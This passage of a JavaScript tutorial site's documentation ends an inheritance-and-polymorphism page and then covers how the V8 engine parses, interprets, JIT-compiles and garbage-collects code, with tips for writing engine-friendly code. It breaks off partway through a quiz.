Key Takeaways <Info> **Remember these essential points about Inheritance & Polymorphism:** 1. **Inheritance lets child classes reuse parent code** — use `extends` to create class hierarchies 2. **Always call `super()` first in child constructors** — before using `this` 3. **`super.method()` calls the parent's version** — useful for extending rather than replacing behavior 4. **Method overriding = same name, different behavior** — the child's method shadows the parent's 5. **Polymorphism = "many forms"** — treat different object types through a common interface 6. **ES6 classes are syntactic sugar over prototypes** — understand prototypes for debugging 7. **"IS-A" → inheritance, "HAS-A" → composition** — use the right tool for the relationship 8. **The Gorilla-Banana problem is real** — deep hierarchies inherit too much baggage 9. **Favor composition over inheritance** — it's more flexible and maintainable 10. **Keep inheritance hierarchies shallow** — 2-3 levels maximum 11. **Mixins share behavior without inheritance chains** — useful for cross-cutting concerns 12. **`instanceof` checks the entire prototype chain** — `warrior instanceof Character` is `true` </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="1. What happens if you forget to call super() in a child constructor?"> **Answer:** JavaScript throws a `ReferenceError` with the message "Must call super constructor in derived class before accessing 'this' or returning from derived constructor". ```javascript class Child extends Parent { constructor() { this.name = "test" // ❌ ReferenceError! } } ``` The `super()` call is mandatory because it initializes the parent part of the object, which must happen before the child can add its own properties. </Accordion> <Accordion title="2. How does method overriding enable polymorphism?"> **Answer:** Method overriding allows different classes to provide their own implementation of the same method name. This enables polymorphism because code can call that method on any object without knowing its specific type — each object responds appropriately. ```javascript function makeSound(animal) { console.log(animal.speak()) // Works with ANY animal type } class Dog { speak() { return "Woof!" } } class Cat { speak() { return "Meow!" } } makeSound(new Dog()) // "Woof!" makeSound(new Cat()) // "Meow!" ``` </Accordion> <Accordion title="3. When should you prefer composition over inheritance?"> **Answer:** Prefer composition when: - The relationship is "HAS-A" rather than "IS-A" - You only need some of the parent's functionality - Behaviors need to be mixed freely (e.g., flying + swimming) - Requirements change frequently - You're working with third-party code you don't control - The inheritance hierarchy would exceed 3 levels ```javascript // Use composition: Character HAS abilities class Character { constructor() { this.abilities = [canAttack, canDefend, canHeal] } } ``` </Accordion> <Accordion title="4. What's a mixin and when would you use one?"> **Answer:** A mixin is a way to add functionality to classes without using inheritance. It's an object (or function) containing methods that can be "mixed into" multiple classes. Use mixins for: - Cross-cutting concerns (logging, serialization) - When a class needs behaviors from multiple sources - Avoiding the diamond problem of multiple inheritance ```javascript const Serializable = { toJSON() { return JSON.stringify(this) } } class User { constructor(name) { this.name = name } } Object.assign(User.prototype, Serializable) new User("Alice").toJSON() // '{"name":"Alice"}' ``` </Accordion> <Accordion title="5. How can you call a parent's method from an overriding method?"> **Answer:** Use `super.methodName()` to call the parent's version of an overridden method: ```javascript class Parent { greet() { return "Hello" } } class Child extends Parent { greet() { const parentGreeting = super.greet() // "Hello" return `${parentGreeting} from Child!` } } new Child().greet() // "Hello from Child!" ``` This is useful when you want to extend behavior rather than completely replace it. </Accordion> <Accordion title="6. What's the 'IS-A' test for inheritance?"> **Answer:** The "IS-A" test determines if inheritance is appropriate by asking: "Is the child truly a specialized type of the parent?" - **Passes:** "A Warrior IS-A Character" ✓ - **Passes:** "A Dog IS-A Animal" ✓ - **Fails:** "A Stack IS-A Array" ✗ (Stack has different behavior) - **Fails:** "A Car IS-A Engine" ✗ (Car HAS-A Engine) If it fails the IS-A test, use composition instead. This prevents the Liskov Substitution Principle violations where child instances can't properly substitute for parent instances. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is inheritance in JavaScript?"> Inheritance lets a class (child) reuse code from another class (parent) using the `extends` keyword. The child class inherits all methods and properties from the parent and can add or override them. Under the hood, JavaScript implements this through the prototype chain — the child's prototype links to the parent's prototype, as defined in the ECMAScript specification. </Accordion> <Accordion title="What is polymorphism in JavaScript?"> Polymorphism means different objects can respond to the same method call in their own way. When a Warrior and a Mage both have an `attack()` method but each behaves differently, that is polymorphism. It lets you treat different object types through a common interface, making code flexible and extensible without type-checking. </Accordion> <Accordion title="What is the difference between inheritance and composition in JavaScript?"> Inheritance creates "IS-A" relationships where child classes extend parents. Composition creates "HAS-A" relationships by combining smaller, focused objects. The Gang of Four *Design Patterns* book recommends favoring composition over inheritance because it avoids deep hierarchies, is easier to change, and lets you mix behaviors freely. </Accordion> <Accordion title="How does the extends keyword work in JavaScript?"> The `extends` keyword sets up the prototype chain so the child class inherits from the parent. It does two things: sets the child's prototype to an object that delegates to the parent's prototype, and ensures `super()` is called in the constructor to initialize the parent's properties. Without `super()`, using `this` in the child constructor throws a ReferenceError. </Accordion> <Accordion title="What is the Gorilla-Banana problem?"> This term, coined by Joe Armstrong, describes a flaw of deep inheritance: you wanted a banana but got a gorilla holding the banana and the entire jungle. It means that inheriting from a class forces you to inherit everything, including dependencies you do not need. The solution is to favor composition and mixins over deep class hierarchies. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Factories & Classes" icon="hammer" href="/concepts/factories-classes"> Learn the fundamentals of creating objects with factory functions and ES6 classes </Card> <Card title="Object Creation & Prototypes" icon="sitemap" href="/concepts/object-creation-prototypes"> Understand the prototype chain that powers JavaScript inheritance </Card> <Card title="this, call, apply, bind" icon="bullseye" href="/concepts/this-call-apply-bind"> Master context binding — essential for understanding method inheritance </Card> <Card title="Design Patterns" icon="compass-drafting" href="/concepts/design-patterns"> Learn patterns like Strategy and Decorator that use polymorphism </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Classes — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes"> Complete guide to ES6 classes in JavaScript </Card> <Card title="extends — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/extends"> Official documentation for the extends keyword </Card> <Card title="super — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/super"> How to use super for parent class access </Card> <Card title="Inheritance and the prototype chain — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain"> Deep dive into how inheritance really works in JavaScript </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Class Inheritance — JavaScript.info" icon="newspaper" href="https://javascript.info/class-inheritance"> A comprehensive guide to class inheritance with extends and super </Card> <Card title="Understanding Classes in JavaScript — DigitalOcean" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/understanding-classes-in-javascript"> Deep exploration of ES6 class syntax and OOP principles </Card> <Card title="The Gorilla-Banana Problem" icon="newspaper" href="https://www.johndcook.com/blog/2011/07/19/you-wanted-banana/"> Joe Armstrong's famous OOP criticism from "Coders at Work" — you wanted a banana but got the whole jungle </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript ES6 Classes and Inheritance" icon="video" href="https://www.youtube.com/watch?v=RBLIm5LMrmc"> Traversy Media's ES6 series covers class syntax and inheritance with clear, practical examples </Card> <Card title="Inheritance in JavaScript" icon="video" href="https://www.youtube.com/watch?v=yXlFR81tDBM"> Detailed walkthrough of inheritance concepts by kudvenkat </Card> <Card title="Composition over Inheritance" icon="video" href="https://www.youtube.com/watch?v=wfMtDGfHWpA"> Fun Fun Function explains why composition is often better </Card> <Card title="Polymorphism in JavaScript" icon="video" href="https://www.youtube.com/watch?v=zdovG9cuEBA"> Clear explanation of polymorphism with practical examples </Card> </CardGroup> ================================================ FILE: docs/concepts/javascript-engines.mdx ================================================ --- title: "JavaScript Engines" sidebarTitle: "JavaScript Engines: How V8 Runs Your Code" description: "Learn how JavaScript engines work. Understand V8's parsing, JIT compilation, hidden classes, inline caching, and garbage collection." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Advanced Topics" "article:tag": "javascript engines, V8 engine, JIT compilation, hidden classes, garbage collection" --- What happens when you run JavaScript code? How does a browser turn `const x = 1 + 2` into something your computer actually executes? When you write a function, what transforms those characters into instructions your CPU understands? ```javascript function greet(name) { return "Hello, " + name + "!" } greet("World") // "Hello, World!" ``` Behind every line of JavaScript is a **JavaScript engine**. It's the program that reads your code, understands it, and makes it run. The most popular engine is **[V8](https://v8.dev/)**, which powers Chrome, Node.js, Deno, and Electron. Understanding how V8 works helps you write faster code and debug performance issues. <Info> **What you'll learn in this guide:** - What a JavaScript engine is and what it does - How V8 parses your code and builds an Abstract Syntax Tree - How Ignition (interpreter) and TurboFan (compiler) work together - What JIT compilation is and why it makes JavaScript fast - How hidden classes and inline caching optimize property access - How garbage collection automatically manages memory - Practical tips for writing engine-friendly code </Info> <Warning> **Prerequisite:** This guide assumes you're comfortable with basic JavaScript syntax. Some concepts connect to the [Call Stack](/concepts/call-stack) and [Event Loop](/concepts/event-loop), so reading those first helps! </Warning> --- ## What is a JavaScript Engine? A **JavaScript engine** is a program that executes JavaScript code. It takes the source code you write and converts it into machine code that your computer's processor can run. According to the [V8 blog](https://v8.dev/blog), V8 processes billions of lines of JavaScript daily across Chrome, Node.js, and Electron applications worldwide. Every browser has its own JavaScript engine: | Browser | Engine | Also Used By | |---------|--------|--------------| | Chrome | **V8** | Node.js, Deno, Electron | | Firefox | SpiderMonkey | — | | Safari | JavaScriptCore | Bun | | Edge | V8 (since 2020) | — | We'll focus on **V8** since it's the most widely used engine and powers both browser and server-side JavaScript. As of 2024, Chrome holds roughly 65% of the global browser market share according to [StatCounter](https://gs.statcounter.com/), making V8 by far the most widely deployed JavaScript engine. <Note> All JavaScript engines implement the [ECMAScript specification](https://tc39.es/ecma262/), which defines how the language should work. That's why JavaScript behaves the same way whether you run it in Chrome, Firefox, or Node.js. </Note> --- ## How Does a JavaScript Engine Work? Think of V8 as a **factory** that manufactures results from your code: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE V8 JAVASCRIPT FACTORY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ RAW MATERIALS QUALITY CONTROL BLUEPRINT │ │ (Source Code) (Parser) (AST) │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ function │ │ Break into │ │ Tree of │ │ │ │ add(a, b) { │ ─► │ tokens, │ ─► │ operations │ │ │ │ return a+b │ │ check │ │ to perform │ │ │ │ } │ │ syntax │ │ │ │ │ └──────────────┘ └──────────────┘ └──────┬───────┘ │ │ │ │ │ ▼ │ │ ┌───────────────────────────────────────────────────────────────────┐ │ │ │ ASSEMBLY LINE │ │ │ │ ┌─────────────────┐ ┌─────────────────────────┐ │ │ │ │ │ IGNITION │ │ TURBOFAN │ │ │ │ │ │ (Interpreter) │ ─────────► │ (Optimizing Compiler) │ │ │ │ │ │ │ "hot" │ │ │ │ │ │ │ Steady workers │ code │ Fast robotic assembly │ │ │ │ │ │ Start quickly │ │ Takes time to set up │ │ │ │ │ └─────────────────┘ └─────────────────────────┘ │ │ │ └───────────────────────────────────────────────────────────────────┘ │ │ │ │ ▼ │ │ ┌──────────────┐ │ │ │ OUTPUT │ │ │ │ (Result) │ │ │ └──────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Here's the analogy: - **Raw materials (source code)**: Your JavaScript files come in as text - **Quality control (parser)**: Checks for syntax errors, breaks code into pieces - **Blueprint (AST)**: A structured representation of what needs to be built - **Assembly line workers (Ignition)**: Start working immediately, steady pace - **Robotic automation (TurboFan)**: Takes time to set up, but once running, it's much faster Just like a factory might start with manual workers and add robots for repetitive tasks, V8 starts interpreting code immediately, then optimizes the parts that run frequently. --- ## How Does V8 Execute Your Code? When you run JavaScript, V8 processes your code through several stages. Let's trace through what happens when V8 executes this code: ```javascript function add(a, b) { return a + b } add(1, 2) // 3 ``` ### Step 1: Parsing First, V8 needs to understand your code. The **parser** reads the source text and converts it into a structured format. <Steps> <Step title="Tokenization (Lexical Analysis)"> The code is broken into **tokens**, the smallest meaningful pieces: ``` 'function' 'add' '(' 'a' ',' 'b' ')' '{' 'return' 'a' '+' 'b' '}' ``` Each token is classified: `function` is a keyword, `add` is an identifier, `+` is an operator. </Step> <Step title="Building the AST (Syntactic Analysis)"> Tokens are organized into an **Abstract Syntax Tree (AST)**, a tree structure that represents your code's meaning: ``` FunctionDeclaration ├── name: "add" ├── params: ["a", "b"] └── body: ReturnStatement └── BinaryExpression ├── left: Identifier "a" ├── operator: "+" └── right: Identifier "b" ``` The AST captures *what* your code does, without the original syntax (semicolons, whitespace, etc.). </Step> </Steps> <Tip> **See it yourself:** You can explore how JavaScript is parsed using [AST Explorer](https://astexplorer.net/). Paste any JavaScript code and see the resulting tree structure. </Tip> ### Step 2: Ignition (The Interpreter) Once V8 has the AST, **Ignition** takes over. Ignition is V8's interpreter, introduced in V8 version 5.9 (2017) to replace the older full-codegen baseline compiler. It walks through the AST and generates **bytecode**, a compact representation of your code. As the [V8 documentation](https://v8.dev/docs) explains, bytecode is 25–50% smaller than the equivalent machine code, significantly reducing memory usage. ``` Bytecode for add(a, b): Ldar a1 // Load argument 'a' into accumulator Add a2 // Add argument 'b' to accumulator Return // Return the accumulator value ``` Ignition then **executes** this bytecode immediately. No waiting around for optimization. Your code starts running right away. While executing, Ignition also collects **profiling data**: - Which functions are called often? - What types of values does each variable hold? - Which branches of if/else statements are taken? This profiling data becomes important for the next step. ### Step 3: TurboFan (The Optimizing Compiler) When Ignition notices a function is called many times (it becomes "hot"), V8 decides it's worth spending time to optimize it. Enter **TurboFan**, V8's optimizing compiler. TurboFan takes the bytecode and profiling data, then generates **highly optimized machine code**. It makes assumptions based on the profiling data: ```javascript function add(a, b) { return a + b } // V8 observes: add() is always called with numbers add(1, 2) add(3, 4) add(5, 6) // ... called many more times with numbers // TurboFan thinks: "This always gets numbers. I'll optimize for that!" // Generates machine code that assumes a and b are numbers ``` The optimized code runs **much faster** than interpreted bytecode because: - It's native machine code, not bytecode that needs interpretation - It makes type assumptions (no need to check "is this a number?" every time) - It can inline function calls, eliminate dead code, and apply other optimizations ### Step 4: Deoptimization (The Fallback) But what if TurboFan's assumptions are wrong? ```javascript // After 1000 calls with numbers... add("hello", "world") // Strings! TurboFan assumed numbers! ``` When this happens, V8 performs **deoptimization**. It throws away the optimized machine code and falls back to Ignition's bytecode. The function runs slower temporarily, but at least it runs correctly. V8 might try to optimize again later, this time with better information about the actual types being used. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE OPTIMIZATION CYCLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Source Code │ │ │ │ │ ▼ │ │ ┌─────────┐ │ │ │ Parse │ │ │ └────┬────┘ │ │ │ │ │ ▼ │ │ ┌─────────┐ profile ┌───────────┐ │ │ │ Ignition │ ───────────────────► │ TurboFan │ │ │ │(bytecode)│ │(optimized)│ │ │ └────┬────┘ ◄─────────────────── └─────┬─────┘ │ │ │ deoptimize │ │ │ │ │ │ │ ▼ ▼ │ │ [Execute] [Execute] │ │ (slower) (faster!) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## What is JIT Compilation? You might have heard that JavaScript is an "interpreted language." That's only half the story. Modern JavaScript engines use **JIT compilation** (Just-In-Time), which combines interpretation and compilation. ### The Three Approaches <Tabs> <Tab title="Interpreted"> **Pure Interpretation** (like old JavaScript engines) - Source code is executed line by line - No compilation step - Starts fast, but runs slow - Every time a function runs, it's re-interpreted ``` Source → Execute → Execute → Execute... ``` </Tab> <Tab title="Compiled"> **Ahead-of-Time Compilation** (like C/C++) - Source code is compiled to machine code before running - Slow startup (must compile everything first) - Very fast execution - Can't adapt to runtime information ``` Source → Compile (wait...) → Execute (fast!) ``` </Tab> <Tab title="JIT (V8)"> **Just-In-Time Compilation** (V8's approach) - Start executing immediately with interpreter - Compile "hot" code to machine code while running - Best of both worlds: fast startup AND fast execution - Can use runtime information for smarter optimizations ``` Source → Interpret (start fast!) → Compile hot code → Execute (faster!) ``` </Tab> </Tabs> ### Why JavaScript Needs JIT JavaScript is a **dynamic language**. Variables can hold any type, objects can change shape, and functions can be redefined at runtime. This makes ahead-of-time compilation difficult because the compiler doesn't know what types to expect. ```javascript function process(x) { return x.value * 2 } // x could be anything! process({ value: 10 }) // Object with number process({ value: "hello" }) // Object with string (NaN result) process({ value: 10, extra: 5 }) // Different shape ``` JIT compilation solves this by: 1. Starting with interpretation (works for any types) 2. Observing what types actually appear at runtime 3. Compiling optimized code based on real observations 4. Falling back to interpretation if observations were wrong <Warning> **The "warm-up" period:** When you first run JavaScript code, it's slower because it's being interpreted. After functions run many times, they get optimized and become faster. This is why benchmarks often include a "warm-up" phase. </Warning> --- ## What Are Hidden Classes? **Hidden classes** (called "Maps" in V8, "Shapes" in other engines) are internal data structures that V8 uses to track object shapes. They let V8 know exactly where to find properties like `obj.x` without searching through every property name. Why does V8 need them? JavaScript objects are dynamic. You can add or remove properties at any time. This flexibility creates a problem: how does V8 efficiently access `obj.x` if objects can have any shape? ### The Problem Consider accessing a property: ```javascript function getX(obj) { return obj.x } ``` Without optimization, every call to `getX` would need to: 1. Look up the object's list of properties 2. Search for a property named "x" 3. Get the value at that property's location That's slow, especially for hot code. ### The Solution: Hidden Classes V8 assigns a **hidden class** to every object. Objects with the same properties in the same order share the same hidden class. ```javascript const point1 = { x: 1, y: 2 } const point2 = { x: 5, y: 10 } // point1 and point2 have the SAME hidden class! // V8 knows: "For objects with this hidden class, 'x' is at offset 0, 'y' is at offset 1" ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ HIDDEN CLASSES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Hidden Class HC1 point1 point2 │ │ ┌────────────────────┐ ┌────────┐ ┌────────┐ │ │ │ x: offset 0 │ ◄────── │ HC1 │ │ HC1 │ ◄──┐ │ │ │ y: offset 1 │ ├────────┤ ├────────┤ │ │ │ └────────────────────┘ │ [0]: 1 │ │ [0]: 5 │ │ │ │ ▲ │ [1]: 2 │ │ [1]: 10│ │ │ │ │ └────────┘ └────────┘ │ │ │ │ │ │ │ └───────────────────── Same hidden class! ──────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Now, when V8 sees `getX(point1)`, it can: 1. Check the hidden class (one comparison) 2. Read the value at offset 0 (direct memory access) No property name lookup needed! ### Transition Chains What happens when you add properties to an object? V8 creates **transition chains**: ```javascript const obj = {} // Hidden class: HC0 (empty) obj.x = 1 // Transition to HC1 (has x at offset 0) obj.y = 2 // Transition to HC2 (has x at 0, y at 1) ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ TRANSITION CHAIN │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ const obj = {} obj.x = 1 obj.y = 2 │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ HC0 │ ───► │ HC1 │ ───► │ HC2 │ │ │ │ (empty) │ add x │ x: off 0 │ add y │ x: off 0 │ │ │ └──────────┘ └──────────┘ │ y: off 1 │ │ │ └──────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Warning> **Property order matters!** These two objects have **different** hidden classes: ```javascript const a = { x: 1, y: 2 } // HC with x then y const b = { y: 2, x: 1 } // Different HC with y then x ``` This means V8 can't share optimizations between them. Always add properties in the same order! </Warning> --- ## What is Inline Caching? **Inline Caching (IC)** is an optimization where V8 remembers where it found a property and reuses that information on subsequent calls. Instead of looking up property locations every time, V8 caches: "For this hidden class, property X is at memory offset Y." This optimization is possible because of hidden classes. When V8 knows an object's shape, it can cache the exact memory location of each property. ### How Inline Caching Works ```javascript function getX(obj) { return obj.x // V8 caches: "For HC1, x is at offset 0" } const p1 = { x: 1, y: 2 } const p2 = { x: 5, y: 10 } getX(p1) // First call: look up x, cache the location getX(p2) // Second call: same hidden class! Use cached location getX(p1) // Third call: cache hit again! ``` The first time `getX` runs, V8 does the full property lookup. But it **caches** the result: "For objects with hidden class HC1, property 'x' is at memory offset 0." Subsequent calls with the same hidden class skip the lookup entirely. ### IC States: Monomorphic, Polymorphic, Megamorphic The inline cache can be in different states depending on how many different hidden classes it encounters: <AccordionGroup> <Accordion title="Monomorphic (Fastest)"> The function always sees objects with the **same** hidden class. ```javascript function getX(obj) { return obj.x } // All objects have the same shape getX({ x: 1, y: 2 }) getX({ x: 3, y: 4 }) getX({ x: 5, y: 6 }) // IC: "Always HC1, x at offset 0" - ONE entry, super fast! ``` **Performance:** Excellent. Single comparison, direct memory access. </Accordion> <Accordion title="Polymorphic (Still Good)"> The function sees a **few** different hidden classes (typically 2-4). ```javascript function getX(obj) { return obj.x } getX({ x: 1 }) // Shape A getX({ x: 2, y: 3 }) // Shape B getX({ x: 4, y: 5, z: 6 }) // Shape C // IC: "Could be A, B, or C" - checks a few options ``` **Performance:** Good. Checks a small list of known shapes. </Accordion> <Accordion title="Megamorphic (Slowest)"> The function sees **many** different hidden classes. ```javascript function getX(obj) { return obj.x } // Every call has a completely different shape getX({ x: 1 }) getX({ x: 2, a: 1 }) getX({ x: 3, b: 2 }) getX({ x: 4, c: 3 }) getX({ x: 5, d: 4 }) // ... many more different shapes // IC gives up: "Too many shapes, doing full lookup every time" ``` **Performance:** Poor. Falls back to generic property lookup. </Accordion> </AccordionGroup> <Tip> **For best performance:** Pass objects with consistent shapes to your functions. Factory functions help: ```javascript // Good: Factory creates consistent shapes function createPoint(x, y) { return { x, y } } getX(createPoint(1, 2)) getX(createPoint(3, 4)) // Same shape, monomorphic IC! ``` </Tip> --- ## How Does Garbage Collection Work? Unlike languages like C where you manually allocate and free memory, JavaScript automatically manages memory through **garbage collection (GC)**. V8's garbage collector is called **Orinoco**. ### The Generational Hypothesis V8's GC is based on an observation about how programs use memory: **most objects die young**. Think about it: temporary variables, intermediate calculation results, short-lived callbacks. They're created, used briefly, and never needed again. Only some objects (your app's state, cached data) live for a long time. V8 exploits this by splitting memory into generations: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ V8 MEMORY HEAP │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOUNG GENERATION OLD GENERATION │ │ (Short-lived objects) (Long-lived objects) │ │ │ │ ┌─────────────────────────┐ ┌─────────────────────────┐ │ │ │ Nursery │ Intermediate │ ───► │ Survived multiple GCs │ │ │ │ │ │ survives │ │ │ │ │ New │ Survived │ │ App state, caches, │ │ │ │ objects │ one GC │ │ long-lived data │ │ │ └─────────────────────────┘ └─────────────────────────┘ │ │ │ │ Minor GC (Scavenger) Major GC (Mark-Compact) │ │ • Very fast • Slower but thorough │ │ • Runs frequently • Runs less often │ │ • Only scans young gen • Scans entire heap │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Minor GC: The Scavenger New objects are allocated in the **young generation**. When it fills up, V8 runs a **minor GC** (called the Scavenger): 1. Find all live objects in the young generation 2. Copy survivors to a new space 3. Objects that survive multiple collections get promoted to the old generation This is fast because: - Most young objects are dead (no need to copy them) - The young generation is small - Only copying live objects means no fragmentation ### Major GC: Mark-Compact The **old generation** is collected less frequently with a **major GC**: <Steps> <Step title="Marking"> Starting from "roots" (global variables, stack), V8 follows all references and marks every reachable object as "live." </Step> <Step title="Sweeping"> Dead objects (unmarked) leave gaps in memory. V8 adds these gaps to a "free list" for future allocations. </Step> <Step title="Compaction"> To reduce fragmentation, V8 may move live objects together, like defragmenting a hard drive. </Step> </Steps> ### Concurrent and Parallel GC Modern V8 uses advanced techniques to minimize pauses: - **Parallel:** Multiple threads do GC work simultaneously - **Incremental:** GC work is broken into small chunks, interleaved with JavaScript execution - **Concurrent:** GC runs in the background while JavaScript continues executing This means you rarely notice GC pauses in modern JavaScript applications. --- ## How Do You Write Engine-Friendly Code? Now that you understand how V8 works, here are practical tips to help the engine optimize your code: ### 1. Initialize Objects Consistently Give objects the same shape by adding properties in the same order: ```javascript // ✓ Good: Consistent shape function createUser(name, age) { return { name, age } // Always name, then age } // ❌ Bad: Inconsistent shapes function createUser(name, age) { const user = {} if (name) user.name = name // Sometimes name first if (age) user.age = age // Sometimes age first return user } ``` ### 2. Avoid Changing Types Keep variables holding the same type throughout their lifetime: ```javascript // ✓ Good: Consistent types let count = 0 count = 1 count = 2 // ❌ Bad: Type changes trigger deoptimization let count = 0 count = "none" // Now it's a string! count = null // Now it's null! ``` ### 3. Use Arrays Correctly Avoid "holes" in arrays and don't mix types: ```javascript // ✓ Good: Dense array with consistent types const numbers = [1, 2, 3, 4, 5] // ❌ Bad: Sparse array with holes const sparse = [] sparse[0] = 1 sparse[1000] = 2 // Creates 999 "holes" // ❌ Bad: Mixed types const mixed = [1, "two", 3, null, { four: 4 }] ``` ### 4. Avoid [`delete`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete) on Objects Using `delete` changes an object's hidden class and can cause deoptimization: ```javascript // ❌ Bad: Using delete const user = { name: "Alice", age: 30, temp: true } delete user.temp // Changes hidden class! // ✓ Good: Set to undefined or use a different structure const user = { name: "Alice", age: 30, temp: true } user.temp = undefined // Hidden class stays the same ``` <Note> Setting a property to `undefined` keeps the property on the object (it just has no value). If you need to truly remove properties frequently, consider using a `Map` instead of a plain object. </Note> ### 5. Prefer Monomorphic Code Design functions to work with objects of the same shape: ```javascript // ✓ Good: Monomorphic - always same shape class Point { constructor(x, y) { this.x = x this.y = y } } function distance(p1, p2) { const dx = p1.x - p2.x const dy = p1.y - p2.y return Math.sqrt(dx * dx + dy * dy) } distance(new Point(0, 0), new Point(3, 4)) // All Points, same shape ``` --- ## Common Misconceptions <AccordionGroup> <Accordion title="'JavaScript is interpreted, not compiled'"> **Partially true, but misleading.** Modern JavaScript engines use JIT compilation. Your code is initially interpreted, but hot functions are compiled to native machine code. V8's TurboFan generates highly optimized machine code that rivals traditionally compiled languages for computational tasks. </Accordion> <Accordion title="'More code = slower execution'"> **Not necessarily!** V8 performs dead code elimination and function inlining. A well-structured program with more lines can be faster than a "clever" one-liner that's hard to optimize. Write clear, predictable code and let the engine optimize it. </Accordion> <Accordion title="'I need to manually manage memory in JavaScript'"> **No!** JavaScript has automatic garbage collection. You don't need to (and can't) manually free memory. However, you should avoid creating unnecessary object references that prevent garbage collection (memory leaks). ```javascript // Potential memory leak: event listener keeps reference element.addEventListener("click", () => { console.log(largeData) // largeData can't be GC'd }) // Fix: Remove listener when done element.removeEventListener("click", handler) ``` </Accordion> <Accordion title="'eval() is just slow'"> **It's worse than slow.** [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) prevents many optimizations because V8 can't predict what code will run. Variables in scope become "unoptimizable" because `eval` might access them. Avoid `eval()` and [`new Function()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function) with dynamic strings. </Accordion> <Accordion title="'typeof null === 'object' is a V8 bug'"> **No, it's in the ECMAScript specification.** This is a historical quirk from JavaScript's original implementation that was kept for backwards compatibility. All JavaScript engines must return `"object"` for [`typeof null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof#typeof_null) to comply with the spec. </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember:** 1. **V8 powers Chrome, Node.js, and Deno.** It's the most widely used JavaScript engine and determines how your code runs. 2. **Code goes through multiple stages:** Source → Parse → AST → Bytecode (Ignition) → Optimized Machine Code (TurboFan). 3. **Ignition interprets immediately.** Your code starts running right away without waiting for compilation. 4. **TurboFan optimizes hot code.** Functions called many times get compiled to fast machine code based on observed types. 5. **Deoptimization happens when assumptions fail.** If you pass unexpected types, V8 falls back to slower bytecode. 6. **Hidden classes enable fast property access.** Objects with the same properties in the same order share optimization metadata. 7. **Inline caching remembers property locations.** Monomorphic code (same shapes) is fastest; megamorphic code (many shapes) is slowest. 8. **Garbage collection is automatic and generational.** Most objects die young; V8 optimizes for this with separate young/old generations. 9. **Write consistent, predictable code.** Same shapes, same types, dense arrays. Help the engine help you. 10. **Avoid anti-patterns:** `delete` on objects, sparse arrays, changing variable types, and `eval()`. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between Ignition and TurboFan?"> **Answer:** **Ignition** is V8's interpreter. It generates bytecode from the AST and executes it immediately. It's fast to start but doesn't produce the fastest possible code. While running, it collects profiling data about types and execution patterns. **TurboFan** is V8's optimizing compiler. It takes bytecode and profiling data from Ignition, then generates highly optimized machine code. It takes longer to compile but produces much faster code. TurboFan kicks in for "hot" functions that run many times. </Accordion> <Accordion title="Question 2: Why does property order matter when creating objects?"> **Answer:** V8 assigns hidden classes to objects based on their properties **and the order those properties were added**. Objects with the same properties in the same order share a hidden class and can use the same optimizations. ```javascript const a = { x: 1, y: 2 } // Hidden class A const b = { y: 2, x: 1 } // Hidden class B (different!) ``` Different hidden classes mean different inline cache entries and less optimization sharing. For best performance, always add properties in a consistent order. </Accordion> <Accordion title="Question 3: What triggers deoptimization?"> **Answer:** Deoptimization happens when TurboFan's assumptions about your code are violated. Common triggers include: - **Type changes:** A function optimized for numbers receives a string - **Hidden class changes:** An object's shape changes (adding/deleting properties) - **Unexpected values:** `undefined` where a number was expected - **Megamorphic call sites:** Too many different object shapes at one location ```javascript function add(a, b) { return a + b } // Optimized for numbers add(1, 2) add(3, 4) // Deoptimizes! add("hello", "world") ``` </Accordion> <Accordion title="Question 4: What is inline caching and why does it speed up property access?"> **Answer:** Inline caching (IC) is an optimization where V8 remembers where it found a property for a given hidden class. Instead of doing a full property lookup every time, it caches: "For objects with hidden class X, property 'foo' is at memory offset Y." On subsequent accesses with the same hidden class, V8 skips the lookup and reads directly from the cached offset. This turns an O(n) dictionary lookup into an O(1) memory access. ```javascript function getX(obj) { return obj.x // IC: "For HC1, x is at offset 0" } getX({ x: 1, y: 2 }) // Cache miss, full lookup, cache result getX({ x: 3, y: 4 }) // Cache hit! Direct access to offset 0 ``` </Accordion> <Accordion title="Question 5: What is the 'generational hypothesis' in garbage collection?"> **Answer:** The generational hypothesis states that **most objects die young**. Temporary variables, function arguments, intermediate results. They're created, used briefly, and become garbage 